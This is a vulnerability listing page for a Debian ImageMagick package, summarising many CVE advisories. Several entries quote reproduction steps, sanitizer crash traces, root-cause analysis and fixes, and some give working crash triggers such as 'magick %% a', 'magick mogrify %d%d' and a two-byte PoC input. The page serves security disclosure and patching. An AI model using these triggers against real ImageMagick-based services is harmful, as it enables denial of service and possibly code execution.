Search for packages
| purl | pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4 |
| Next non-vulnerable version | 8:6.9.11.60+dfsg-1.6+deb12u7 |
| Latest non-vulnerable version | 8:7.1.1.43+dfsg1-1+deb13u7 |
| Risk | 4.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-15ny-qqbj-qyfk
Aliases: CVE-2026-26066 GHSA-v994-63cg-9wj3 |
ImageMagick has infinite loop when writing IPTCTEXT leads to denial of service via crafted profile A crafted profile contain invalid IPTC data may cause an infinite loop when writing it with `IPTCTEXT`. |
Affected by 22 other vulnerabilities. |
|
VCID-1cpn-zvem-v7gt
Aliases: CVE-2026-28691 GHSA-wj8w-pjxf-9g4f |
ImageMagick has uninitialized pointer dereference in JBIG decoder An uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check. |
Affected by 0 other vulnerabilities. |
|
VCID-29r3-kvf4-n3hc
Aliases: CVE-2026-27798 GHSA-qpgx-jfcq-r59f |
ImageMagick: Heap Buffer Over-read in WaveletDenoise when processing small images A heap buffer over-read vulnerability occurs when processing an image with small dimension using the `-wavelet-denoise` operator. ``` ==3693336==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001280 at pc 0x5602c8b0cc75 bp 0x7ffcb105d510 sp 0x7ffcb105d500 READ of size 4 at 0x511000001280 thread T0 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-2gw3-qfan-jygd
Aliases: CVE-2025-68618 GHSA-p27m-hp98-6637 |
ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack Using Magick to read a malicious SVG file resulted in a DoS attack. |
Affected by 22 other vulnerabilities. |
|
VCID-2zje-ag2v-7kac
Aliases: CVE-2026-30937 GHSA-qpg4-j99f-8xcg |
ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation A 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur. ``` ================================================================= ==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0 WRITE of size 1 at 0x5020000083dc thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-54da-fzyt-4ud2
Aliases: CVE-2026-28690 GHSA-7h7q-j33q-hvpf |
ImageMagick has stack write buffer overflow in MNG encoder A stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data. ``` ==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68 WRITE of size 1 at 0x7ffec4971310 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-5s8n-dfjf-ruey
Aliases: CVE-2025-53014 GHSA-hm4x-r5hc-794f |
ImageMagick has a Heap Buffer Overflow in InterpretImageFilename # Heap Buffer Overflow in InterpretImageFilename ## Summary A heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`). ## Environment - **OS**: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41) - **Architecture**: x86_64 - **Compiler**: gcc (GCC) 15.1.1 20250425 ## Reproduction ### Build Instructions ```bash # Clone the repository git clone https://github.com/ImageMagick/ImageMagick.git cd ImageMagick git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12 # Build with AddressSanitizer export CFLAGS="-fsanitize=address -g -O1" export CXXFLAGS="-fsanitize=address -g -O1" export LDFLAGS="-fsanitizer=address" ./configure make # Set library path and trigger the crash export LD_LIBRARY_PATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH" ./utilities/.libs/magick %% a ``` ### Minimum Trigger ```bash ./utilities/.libs/magick %% [any_output_filename] ``` ## Crash Analysis ### AddressSanitizer Output ``` $ ./utilities/.libs/magick %% a ================================================================= ==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8 READ of size 1 at 0x7037f99e3ad3 thread T0 #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746 #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674 #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040 #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959 #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473 #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162 #9 0x5ef7a3546872 in main utilities/magick.c:193 #10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2) 0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3) allocated by thread T0 here: #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename Shadow bytes around the buggy address: 0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04 =>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa 0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2227694==ABORTING ``` ## Root Cause Analysis The first command line argument is interpreted as `MagickImageCommand`: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83 ```c const CommandInfo MagickCommands[] = { MagickCommandSize("magick", MagickFalse, MagickImageCommand), ``` It is invoked here: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220 ```c status=command(image_info,argc,argv,&text,exception); ``` The execution then follows this path: - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674 The execution eventually reaches `InterpretImageFilename` and enters a loop. The `format` variable here is `"%%"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`. ```c for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } ``` The first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`). In the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read. |
Affected by 22 other vulnerabilities. |
|
VCID-5uyd-bv33-h7g1
Aliases: CVE-2026-25897 GHSA-6j5f-24fw-pqp4 |
ImageMagick: Heap overflow in sun decoder on 32-bit systems may result in out of bounds write An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write. ``` ================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-5zkt-kcgx-a3e2
Aliases: CVE-2026-25970 GHSA-xg29-8ghv-v4xr |
ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption A signed integer overflow vulnerability in ImageMagick's SIXEL decoder allows an attacker to trigger memory corruption and denial of service when processing a maliciously crafted SIXEL image file. The vulnerability occurs during buffer reallocation operations where pointer arithmetic using signed 32-bit integers overflows. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==143838==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 #0 0x7f379d5adb53 (/lib/x86_64-linux-gnu/libc.so.6+0xc4b53) ``` |
Affected by 22 other vulnerabilities. |
|
VCID-62ar-kwbq-nyh3
Aliases: CVE-2026-25638 GHSA-gxcx-qjqp-8vjw |
ImageMagick has memory leak in msl encoder Memory leak exists in `coders/msl.c`. In the `WriteMSLImage` function of the `msl.c` file, resources are allocated. But the function returns early without releasing these allocated resources. ``` ==78983== Memcheck, a memory error detector ==78983== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al. ==78983== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info ==78983== ==78983== 177,196 (13,512 direct, 163,684 indirect) bytes in 1 blocks are definitely lost in loss record 21 of 21 ==78983== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so) ``` |
Affected by 22 other vulnerabilities. |
|
VCID-6h7x-3rue-kucp
Aliases: CVE-2026-28692 GHSA-mrmj-x24c-wwcv |
ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder In MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read. ``` ================================================================= ==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70 READ of size 8 at 0x506000003b40 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-784p-34mz-vucz
Aliases: CVE-2025-53019 GHSA-cfh4-9f7v-fhrc |
ImageMagick has a Memory Leak in magick stream ## Summary In ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak. ## Details - **Vulnerability Type:** Memory leak - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick stream %d%d a a ``` ### Output ``` $ magick stream %d%d a a stream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746. stream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755. ================================================================= ==114==ERROR: LeakSanitizer: detected memory leaks Direct leak of 152 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559 #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635 #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119 #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #8 0x55a34f7c0cba in main utilities/magick.c:184 #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226 #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435 #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121 #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #9 0x55a34f7c0cba in main utilities/magick.c:184 #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s). ``` ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c and https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b |
Affected by 22 other vulnerabilities. |
|
VCID-7t1t-1spz-gfee
Aliases: CVE-2025-68469 GHSA-fff3-4rp7-px97 |
ImageMagick has a heap-buffer-overflow ### Summary While Processing a crafted TIFF file, imagemagick crashes. ### Details Following is the imagemagick version: ``` imagemagick_git/build_26jun23/bin/magick --version Version: ImageMagick 7.1.1-13 (Beta) Q16-HDRI x86_64 56f478940:20230625 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI Delegates (built-in): fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff webp x xml zlib Compiler: gcc (4.2) ``` ### PoC issue can be replicated with following command with provided POC file(sent over email): ```bash magick poc.tiff /dev/null ``` ### Impact This can lead to application crash. ### Credits Please give credits to Hardik shah of Vehere (Dawn Treaders team) |
Affected by 22 other vulnerabilities. |
|
VCID-9ewm-6688-kkar
Aliases: CVE-2025-53101 GHSA-qh3h-j545-h8c9 |
ImageMagick has a Stack Buffer Overflow in image.c Hi, we have found a stack buffer overflow and would like to report this issue. Could you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed. ## Summary In ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`. ### Additional information Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage. Furthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled. ## Details - **Vulnerability Type:** CWE-124: Buffer Underwrite - **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename() - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing. ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick mogrify %d%d ``` ### Output ```plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392 #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404) Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027 This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING ``` ### Affected Code In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; /*--------Affected--------*/ (void) FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-field_width); /*--------Affected--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` ## Technical Analysis This vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`. The format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`. The `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`. The constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures. As a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability. This causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`. ## Proposed Fix In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... /*--------Changed--------*/ ssize_t field_width, offset, written; // Added /*--------Changed--------*/ ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; written = FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); /*--------Changed--------*/ if (written <= 0 || written > (MagickPathExtent - (p - format - offset))) return 0; offset += (ssize_t)((q - p) - written); /*--------Changed--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` - By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained. - Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants. - Range checking of `written` allows detection of vsnprintf failures and excessive writes. ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e |
Affected by 22 other vulnerabilities. |
|
VCID-a2qm-vkc3-qkd5
Aliases: CVE-2025-55160 GHSA-6hgw-6x87-578x |
ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree ## Summary - **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`) - **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback - **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact. - **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing. ## Environment OS: macOS (Apple Silicon/arm64) Homebrew clang version 20.1.8 Target: arm64-apple-darwin24.5.0 Thread model: posix InstalledDir: /opt/homebrew/Cellar/llvm/20.1.8/bin Configuration file: /opt/homebrew/etc/clang/arm64-apple-darwin24.cfg Homebrew ImageMagick: `magick -version` → `ImageMagick 7.1.2-0 Q16-HDRI aarch64` pkg-config: `MagickWand-7.Q16HDRI` version `7.1.2` Library configure flags (capsule build): ./configure --disable-shared --enable-static --without-modules --without-magick-plus-plus --disable-openmp --without-perl --without-x --with-png=yes --without-jpeg --without-tiff --without-xml --without-lqr --without-gslib Harness compile flags: -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer pkg-config cflags/libs supplied: -I<...>/include/ImageMagick-7 -DMAGICKCORE_HDRI_ENABLE=1 -DMAGICKCORE_QUANTUM_DEPTH=16 -DMAGICKCORE_CHANNEL_MASK_DEPTH=32 and linked against MagickWand-7.Q16HDRI and MagickCore-7.Q16HDRI Sanitizer runtime: ASan+UBSan defaults. Repro also with `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1` ## PoC - **Bytes (hex):** `1c 02` - **Base64:** `HAI=` - **sha256 (optional):** <fill in> ## Reproduction Create PoC: `printf '\x1c\x02' > poc.bin` Option A: libFuzzer harness - Run once: `./harness_ImageMagick_... -runs=1 ./poc.bin` - Expected: UBSan aborts with function-type-mismatch at `MagickCore/splay-tree.c:372:43`. Option B: standalone reproducer (C) - Compile (ensure `PKG_CONFIG_PATH` points to your ImageMagick if needed): /opt/homebrew/opt/llvm/bin/clang -g -O1 -fsanitize=address,undefined $(/opt/homebrew/bin/pkg-config --cflags MagickWand-7.Q16HDRI) repro.c -o repro $(/opt/homebrew/bin/pkg-config --libs MagickWand-7.Q16HDRI) - Run: UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 ./repro ./poc.bin Observed output (excerpt) MagickCore/splay-tree.c:372:43: runtime error: call to function ConstantString through pointer to incorrect function type 'void *(*)(void *)' string.c:680: note: ConstantString defined here #0 CloneSplayTree splay-tree.c:372 #1 CloneImageProfiles profile.c:159 #2 CloneImage image.c:832 #3 CoalesceImages layer.c:269 #4 MagickCoalesceImages magick-image.c:1665 #5 main repro.c:XX Root cause The splay tree clone callback expects a function pointer of type `void *(*)(void *)`. ConstantString has a different signature (`char *ConstantString(const char *)`). Calling through the mismatched function type is undefined behavior in C and triggers UBSan’s function-type-mismatch. The path is exercised during coalescing: CloneImage → CloneImageProfiles → CloneSplayTree. Scope Reproduces with a minimal, sanitizer-instrumented, PNG-enabled build and delegates disabled (policy.xml), suggesting the issue is in MagickCore rather than external delegates. Suggested fix (sketch) Use a wrapper that matches the expected callback prototype, or adjust the splay-tree callback typedef for const-correctness. For example: static void *CloneStringShim(const void *p) { return (void *) ConstantString((const char *) p); } /* When setting splay-tree clone_value, use CloneStringShim instead of ConstantString. */ Alternatively, update the clone callback typedefs to use const void* consistently (and return void*) and ensure callers pass a correctly typed wrapper. Artifacts Minimised PoC: attached (poc.bin, 2 bytes; base64 HAI=) Harness source and exact build command (attached) Full UBSan trace (attached) Commit SHA and configure flags (above) Credits Discovered by: Lumina Mescuwa Method: libFuzzer + UBSan Verification - UBSan build: Reproduces with `halt_on_error=1`; aborts at `MagickCore/splay-tree.c:372`. - Non-sanitized Homebrew build (macOS arm64, clang 20.1.8): No crash; repro completes silently. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-acsa-1uwk-fqee
Aliases: CVE-2026-24481 GHSA-96pc-27rx-pr36 |
ImageMagick has Possible Heap Information Disclosure in PSD ZIP Decompression ### Description A heap information disclosure vulnerability exists in ImageMagick's PSD (Adobe Photoshop) format handler. When processing a maliciously crafted PSD file containing ZIP-compressed layer data that decompresses to less than the expected size, uninitialized heap memory is leaked into the output image. ### Expected Impact Information disclosure leading to potential exposure of sensitive data from server memory. |
Affected by 22 other vulnerabilities. |
|
VCID-b43n-3d1g-u3fe
Aliases: CVE-2025-68950 GHSA-7rvh-xqp3-pr8j |
ImageMagick's failure to limit MVG mutual causes Stack Overflow Magick fails to check for circular references between two MVGs, leading to a stack overflow. |
Affected by 22 other vulnerabilities. |
|
VCID-b5pd-kk97-gban
